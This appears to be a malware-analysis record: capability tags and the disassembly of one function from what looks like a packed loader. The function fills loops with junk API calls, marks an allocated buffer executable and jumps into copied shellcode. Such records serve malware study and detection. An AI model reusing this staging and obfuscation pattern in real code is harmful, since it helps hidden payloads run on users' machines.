Function at 0x40162c
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Read file on windows
Set file attributes

Disassembly:
mov eax, 0x413528
call fcn.004134fc
mov eax, 0x1844
call fcn.0040e8e0
mov ecx, dword [0x1ddbce0]
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x401702
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [ebp - 0x84c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
lea eax, [ebp - 0x104c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x4197c8
push ebx
call fcn.00403bb0
push ebx
push ebx
push ebx
push ebx
call fcn.00403d8a
add esp, 0x18
lea ecx, [ebp - 0x20]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x20]
call fcn.004010bb
push ebx
call fcn.00403a13
pop ecx
push ebx
call fcn.00404147
pop ecx
push ebx
call fcn.00403a13
mov dword [esp], 0x4197dc
call fcn.00403a3d
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00401d54
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00401d61
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401d8e
mov ecx, dword [0x1ddbce0]
mov eax, dword [0x41c3b0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x1ddbce4], eax
mov dword [0x1ddbce0], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x28]
mov dword [0x1ddbc4c], eax
push ecx
push 0x40
push dword [0x1ddbce0]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40173d
mov edx, dword [0x1ddbce0]
mov esi, ebx
test edx, edx
je 0x4017b9
mov eax, dword [0x1ddbce4]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1ddbc4c]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017b4
push str.orafizuhefim
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.capazihogomujikefopilef
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
lea eax, [ebp - 0xc4c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x44c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1ddbce0]
inc esi
cmp esi, edx
jb 0x401752
mov esi, ebx
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4017fc
push str.cugitinidofakediyediyuwizij
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
push str.muwoliruluxodaguvuwutinedaxi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x1ddbce0]
inc esi
cmp esi, 0x38681
jl 0x4017bb
push ecx
call fcn.004015e9
mov esi, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x40181e
call fcn.00401610
inc esi
cmp esi, 0x674db
jl 0x40180d
push 0x7b
pop esi
cmp dword [0x1ddbce0], 0x86
jne 0x40186d
push str.ducakodidawezekebuhiduvop_zep_hefihanutosijapikuwusoconilivir_ruxusufahowujapimezo_rotuf
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push str.gocexogaxulopeyakezof
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x48]
push eax
push str.catunegiworomosayij
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x184c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x1ddbce0], 0xf
jne 0x401880
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x40182a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x1ddbc4c]
mov dword [0x1ddbcd4], eax
call eax
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret